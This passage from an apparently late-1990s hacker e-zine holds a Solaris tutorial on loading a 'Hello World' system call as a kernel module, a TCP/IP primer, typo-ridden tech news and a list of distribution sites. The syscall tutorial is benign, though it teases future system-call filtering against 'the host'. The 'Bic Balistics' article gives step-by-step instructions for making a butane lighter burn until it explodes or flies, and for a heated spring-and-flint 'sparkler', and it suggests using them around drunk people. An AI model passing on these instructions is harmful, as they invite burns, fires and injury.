sysent[X].sy_callc() ----------------------------------------------------------------- All the information concerning system calls is defined in /usr/include /sys/systm.h. In that file we will find the definition of sysent: struct sysent { char sy_narg; /* total number of arguments */ char sy_flags; /* various flags as defined below */ int (*sy_call)(); /* argp, rvalp-style handler */ krwlock_t *sy_lock; /* lock for loadable system calls */ longlong_t (*sy_callc)(); /* C-style call hander or wrapper */ }; sy_narg has the number of arguments that the specific system call needs. sy_flags is a bunch of flags meaning if this system call is loadable or if it is completely loaded (more on this later), and if it can be unloaded, or if it takes C-style arguments. One of the nicest characteristics of Solaris is the ability to work with loadable modules. Again, this is peanuts for the Linux community, but the users of (normally) higher-end systems like Sparcs may see this as new. Where does this link with system calls ? Turns out that we can write our own system calls and put them into the kernel almost easily. Let's see a simple example, a system call that prints "Hello World". First of all, take a look at /etc/name_to_sysnum: (.....) mount 21 umount 22 setuid 23 getuid 24 stime 25 alarm 27 fstat 28 pause 29 (.....) Look for an unused entry. There are 210 entries, so you got 44 to choose. I like 180. Edit the file and add a line with the name of your system call: mySyscall 180 Save the file and reboot the system. This is necessary so that the kernel will read this file and allocate memory space as needed to accomodate the new system call. Ok. Now the source code. Call this file mySyscall.c: ---------------8<-----------------------8<--------------------8<------------- /* these are all the includes normally needed to a general sys call - we don't use many of them, but this is the normal load you'll see on a more evolved syscall */ #include #include #include #include #include #include #include #include #include #include #include #include /* our entry point */ static int mySyscall(); static struct sysent mySysent = { 0, /* number of arguments */ 0, /* load flags */ mySyscall, /* the function */ (krwlock_t *) NULL /* kernel lock */ }; /* this is the dynamic load & link stuff. It is sort of fill-in-the-blanks and seems to be standard for all system calls */ extern struct mod_ops mod_syscallops; static struct modlsys modlsys = { &mod_syscallops, /* define loader routines */ "My little system call", /* decsriptive string */ &mySysent /* pointer to our sysent structure */ }; static struct modlinkage modlinkage = { MODREV_1, /* loader revision number */ (void *) &modlsys, /* start of list of things to load here */ 0 /* end of list */ }; /* end of dynamic load stuff */ /* this is a counter on the instances of the loaded call. this is needed in case we want to unload but it is still in use, or something. notice that it is static on purpose */ static int refcnt = 0; /* this little routine is the load entry point. when we instruct the system to load our loadable system call, the kernel will call this function - so, if you need any initialization done, here is the place for it */ _init() { printf("MY SYSTEM CALL INITIALIZED\n"); return (mod_install(&modlinkage)); } /* here we do the opposite of _init, and deallocate any resources we may have been using before unloading the system call code */ _fini() { /* in case we ask to have the syscall unloaded while it is still in use, we refuse the download with a BUSY return code */ if (refcnt != 0) return (EBUSY); printf("MY SYSTEM CALL REMOVED\n"); return (mod_remove(&modlinkage)); } /* tools like modinfo will return information about loadable modules installed. this answers to those requests. */ _info(struct modinfo *modinfop) { printf("REQUEST INFO ABOUT MY SYSTEM CALL\n"); return (mod_info(&modlinkage, modinfop)); } /* here we do the real magic. one work of advice concerning which functions you can use here - anything that compiles without an explicit library addition will do just fine */ mySyscall() { printf("Hello World!\n"); return(0); } ------------------8<-------------------8<------------------8<-------------- Ok, now on to compile this little gem: as root (what, you don't have root ? what, you thought this article was MEANT to GIVE you r00t ? you w0rm), do: gcc -D_KERNEL -c mySyscall.c ld -r -o mySyscall mySyscall.o You'll get a file called mySyscall. We will also need a small test program. Compile this one: ------------------------8<------------------------8<----------------------- #include int main(int argc, char **argv) { i = syscall(180); } ------------------------8<------------------------8<----------------------- Call it whatever you want. Now, as root, open a window with a running tail of /var/adm/messages. All of our messages will be printed here, or in a console window if you happen to have one (you can also open a xconsole). Do: modload mySyscall If you get something like "can't load module: Out of memory or no room in system tables", it means you forgot to reboot the system after changing /etc/name_to_sysnum. Do it and let's try again. In the xconsole or in the message file you'll see two lines, with the messages of our _info and _init routines. Now run 'modinfo', and see that you get the call info and a printf on the console. Run the test program a couple of times. Notice that the "Hello World" gets printed as you run the test program. Now, using the index number from modinfo, do 'modunload -i N' where N is the module id that modinfo gave you. Notice that the _fini string is printed. The module is gone from your kernel. That's it for today. Now, I suppose you want to go and play with your new gained knowledge. Do it, nothing will break, the next boot will clean everything....I hope. Next time we will discuss adb,kadb and how to debug these modules, and perhaps how to filter a system call to do nice things to the host. -----BEGIN PGP SIGNATURE----- Version: PGP 5.0i MessageID: gnt/Vb5XuX/pKAH8eKi/X8zyFbHIlgUB iQA/AwUBNj19+AfcIY8lw9gyEQIW/ACgs02dG9p+KwffhkMiaIJiIGZKzAoAnAjp Hd4y+Ja6jgItQHY7LZVFQwmw =jTbt -----END PGP SIGNATURE----- --------------------------------------------------------------------------- The Internet Protocol Suite m0f0 --------------------------------------------------------------------------- A network is a configuration of machines that exchange information among them. In order for the network to function properly, the information originating at a sender must be transmitted along a communication line and delivered to the intended recipient in an intelligible form. Because different types of networking software and hardware need to interact to perform this function, network designers developed the concept of the communications protocol family (or suite). A network protocol is a set of formal rules explaining how software and hardware should interact within a network in order to transmit information. The Internet Protocol (IP) family is one such group of network protocols. It is centered around the IP. The other members of the IP family are Transmission Control Protocol (TCP, User Datagram Protocol (UDP), Address Resolution Protocol (ARP), Reverse Address Resolution Protocol (RARP), and Internet Control Message Protocol (ICMP). The entire family is popularly referred to as TCP/IP, reflecting the name of the two main protocols.TCP/IP provides services to many different types of host machines connected to heterogeneous networks. These networks may be wide area networks, such as X.25-base networks, but they also can be local area networks, such as one you might install in a single building. Note: TCP/IP was originally developed by the United States Department of Defense to run on the ARPANET, a packet-switching wide area network first demonstrated in 1972. Today the ARPANET is part of a wide area network known as the DoD (Department of Defense) Internet, or, for short, the Internet. Many popular texts use the term Internet to describe both the protocol family and the wide area network. The TCP/IP protocol structure can be conceptualized as being formed of a series of layers as shown below. Layer Network Services Application Telnet, FTP, TFTP Transport TCP, UDP Network IP, ICMP Data Link ARP, RARP, device driver (such as Ethernet) Physical Cable or other device (such as Ethernet board) In TCP/IP jargon, a machine engaged in communication is termed either a sending or receiving host. Every protocol layer on the sending host has its peer protocol layer on the receiving host. Each layer is required by design to handle communications in a predetermined fashion. Each protocol formats communicated data and appends or removes information from it. The protocol then passes the data to a lower layer on the sending host or a higher layer on the receiving host. Physical Layer The Physical Layer is the hardware level of the protocol model, which is concerned with electronic signals. Physical Layer protocols send and receive data in the form of packets. A packet contains a source address, the transmission itself, and a destination address. TCP/IP supports a number of Physical Layer protocols, including Ethernet and Token Ring. Ethernet is an example of a packet switching network; its communications channels are occupied only for the duration of the transmission of a packet. The telephone network is an example of a circuit-switching network. Data Link Layer The Data Link Layer is concerned with addressing at the physical machine level. Protocols at this layer are involved with communications controllers, their chips, and their buffers. Ethernet is supported at this layer by TCP/IP. Two additional TCP/IP protocols, ARP and RARP, can be viewed as existing between the network and data link layers. ARP is the Ethernet Address Resolution Protocol. It maps known IP addresses (32 bits long) to Ethernet addresses (48 bits long). RARP (or Reverse ARP) is the IP Address Resolution Protocol. It maps known Ethernet addresses (48 bits) to IP addresses (32 bits), the reverse of ARP. Network Layer Internet Protocol (IP) and Internet Control Message Protocol (ICMP) are the protocols present at the Network Layer.IP provides machine-to-machine communication. It performs transmission routing by determining the path a transmission must take, based on the receiving machine’s IP address. IP also provides transmission-formatting services; it assembles data for transmission into an Internet datagram. If the datagram is outgoing (received from the higher layer protocols), IP attaches an IP header to it. This header contains a number of parameters, including the IP addresses of the sending and receiving hosts. ICMP sends error or control messages to other hosts. It provides communication of Internet software between machines. Transport Layer The TCP/IP Transport Layer protocols enable communications between processes running on separate machines. Protocols at this level are TCP and UDP. Transmission Control Protocol (TCP) enables applications to talk to each other via virtual circuits, as thought they had a physical circuit between them. TCP is a connection-oriented, reliable protocol; any data written to a TCP connection will be received by its peer in sequence, or an error indication will be returned. User Datagram Protocol (UDP) is the alternative protocol available at the Transport Layer. UDP is a connectionless datagram protocol. Datagrams are groups of information transmitted as a unit to and from the upper layer protocols on sending and receiving hosts. UDP datagrams use port numbers to specify sending and receiving processes. However, no attempt is made to recover from failure or loss; packets may be lost with no error indication returned. Whether TCP or UDP is used depends on the network applications invoked by the user. For example, if the user invokes telnet, that application passes the user’s request to TCP. If the user’s request involves the Domain Name Services, that application passes the request to UDP. Application Layer A variety of TCP/IP protocols exist at the Application Layer. Here is a description of some of the more widely used: telnet The Telnet protocol enables terminals and terminal-oriented processes to communicate on a network running TCP/IP. It is implemented as the program telnet on the local machine and the daemon telnetd on the remote machine. Telnet provides a user interface through which two hosts can open communications with each other, then send information on a character-by-character or line-by-line basis. The application includes a series of commands. The telnetd daemon on the remote host handles requests from the telnet command. ftp The File Transport Protocol (FTP) transfers files to and from a remote network. The protocol includes the ftp command on the local machine and ftpd daemon on the remote machine. ftp lets you specify on the command line the host with whom you want to initiate file transfer and options for transferring the file. The ftpd daemon on the remote host handles the requests from your ftp command. tftp The Trivial File Transfer Protocol (TFTP) enables users to transfer files to and from a remote machine. Like ftp, tftp is implemented as a program on the local machine and as a daemon (tftpd) on the remote machine. tftp invokes a command interpreter for transferring files and maintains a connection between two machines between file transfers. Domain Name Service The Domain Name Service (DNS) is a protocol that provides domain-name-to- address-mapping of forwarding hosts and mail recipients on a network. Other application layer protocols exist that are also implemented as a program on the local machine and a daemon on the remote one; examples of these are rlogin and rlogind. Which permit a user to log in to a remote machine; rsh and rshd which enable the user to spawn a shell on a remote machine, and finger and fingerd, which permit a user to obtain information about users on remote machines. To avoid the need to have an excess of daemons running all times the daemon inetd is initiated at start-up time. After consulting the /etc/inetd.conf file, inetd runs appropriate daemons as needed. For example, the daemon rlogind will be run by inetd whenever there is a request for a remote login from another machine, and only at that time and for the duration of the remote login. m0f0 --------------------------------------------------------------------------- Bic Balistics -Anarchy Nitro --------------------------------------------------------------------------- INTRODUCTION: I'm sure all of you are familiar with the Bic lighter, and I'm also sure you've tried to make the Bic Flamethrower at one time or another. Well... here's 2 more things you can do, First off is the Bic Rocket, and then the Bic Sparkler. Both work almost every time! Enjoy... MATERIALS NEEDED: 2 or more Bic lighters (the big kind) 1 large open parkinglot with noncombustible material surrounding it DIAGRAM: - NORMAL TOP AND SIDE - - TOP AND SIDE, FLME BLOCKER REMOVED - Flame |Flame Blocker /=========\ Striker \ __ | ___ // \ / +_/__|<-+->|_+_| ||M +_O== <-+ .0. |:....| | | ||A |:....| | | | | : | | | ||G | : | | | | | : | | | ||N | : | | | | Fuel --->| : |<-+ | | ||I | : | | | | Area 1 | : | | | | ||F | : | | | | |__:__| | |___| ||Y |__:__| | |___| | || | |Fuel Area 2 // |Fuel Valve // __ // Striker--> / \ <==========/ \__/ . Flint--> I # Spring--> # PREPARATION: First, hit the back side of the flame blocker against something and break it off. Take off the striker and get the spring and flint. Set them aside somewhere safe for later use. Next pull off the Fuel Valve, and put your fingure over the hole where the fuel comes out and shake it up. Leave your fingure on the hole. LAUNCHING: Find someplace where you can lay the lighter so the bottom faces up. Set it there, take the other lighter and light the rocket. It should burn just like it normally does, except the flame should be melting the plastic. It melts down to the fuel and... one of three things happens: It flies up into the air and explodes (usually about 10-20 feet up), Skips along the ground, or just explodes. It usually takes about 2 minutes for it to burn through the plastic. What every you do, don't go back to the lighter after it's been burning for more than 1 minute. And only go back if the flame went out! BIC SPARKLER: This isn't really a sparkler, but it sure is fun. Take the flint and the spring you set aside from the rocket and wrap the flint in the spring, like this, you pull the sprint, put the flint in the middle, like a plus sign, and then twist the spring once so it looks like this: Flint \ || ."||". <- Spring ." ". " " Then hold it over the flame of the one lighter you have left until it starts to wrinkle up or get red. Then throw it against a wall and whoosh, sparks fly everywhere and there's a little char mark left on the wall. CONCLUSION: Enjoy these, they're lots of fun at parties when everyones drunk, the sparkler is really trippy then. They are both best at night, but good during the day as well. --------------------------------------------------------------------------- News Bank Sources --------------------------------------------------------------------------- **************|-* * Telephony (mobile computing) **************|-* ----------------------------------------------------- 3Com Unveils VPN Tunnel Switces ----------------------------------------------------- 3Com Corp. launched the Path Builder S500 series platofrms, a family of purpose built Virtual Private Network (VPN) tunnel switches that enables companies to mirgrate their existing remote access and routed site to site networks to next-generation VPNs. the switches allow enterprises to cut monthly costs on remote access long distance or 800 numbers by 50 percent or more. The Path Builder S500 family of tunnel switches was purpose built to scale VPN networks to handle hundreds to thousands of users and sites with wire-speed encrypted security. ----------------------------------------------------- Ericsson Rejects Qualcomm Theat in U.S.-EU standards ----------------------------------------------------- Swedish telecommunications quiment maker Eircsson says it will retaliate if U.S. high-tech company Qualcomm Inc. does not license key technologies to European rivals. **************|-* * Network (mordern advances) **************|-* ----------------------------------------------------- IBM, Intel Back New UNIX for All Intel Server Systems ----------------------------------------------------- IBM Corp, Intel Corp. and other key players teamed up to develop a single UNIX product product line for Intel's present 32-bit IA-32 chip-based systems, and future 64-bit IA-64 chip-based systems. Their announced aim is to produce a new single UNIX line that will run acroos Intel microprocesser systems that range from entry level servers to large enterprise environments. The two giants entered into a strategic business agreement with UNIX systems design firm SCO Inc., of Sanata Cruz, CA. Under the agreement, IBM will make SCO's UnixWare 7 it's 32-bit UNIX operating system for the high-volunme Intel architecture enterprise market. IBM also agreed to apply substantial resources to promote, and sell the UnixWare 7 operating system worldwide, and will offer it as a member of its new UNIX product line. In addition IBM will contribute AIX technology to SCO's UnixWare to enhance its scaleability and enterprise capability. This will compement the data-center engineering colaboration by SCO's OEM partners (compaq, Data General, ICL, and Unisys) to integrate extensive data-center capabilities into the UNIXWare platform. ----------------------------------------------------- Lucent Announces Faster Undersea Data System ----------------------------------------------------- A new undersea fiber technology has been developed that could make networks shove off with four times more data in the future. Lucent Technologies says its True Wave XL system will also speed up the performance of existing networks. Its transmits optical lightover a larger area at 10gps, compared to the current speeds of 2.5 to 5gps. comments on news? webmaster@legions.org --------------------------------------------------------------------------- exit() Digital Ebola --------------------------------------------------------------------------- That appears to be it for KV, be sure and watch for our next issue, as we will be doing some interesting things..... Send submissions/e-mails/suggestions to digi@38.193.4.205 ______________________ / Distro Sites / /_____K______V________/ Official Distro Site: http://www.legions.org/kv.html Packet Storm Security: http://www.genocide2600.com/~tattooman/keen/ Hackers Hideout: http://hackersclub.com/km/magazines/lou/ Cyberdelia: http://www.rat.pp.se/hotel/cyberdelia/files/zines/kv/issue1.txt Real Secure: http://www.real-secure.org/zine/docs/kv/ Merely An Illusion: http://www.t00ned.org/optik/kv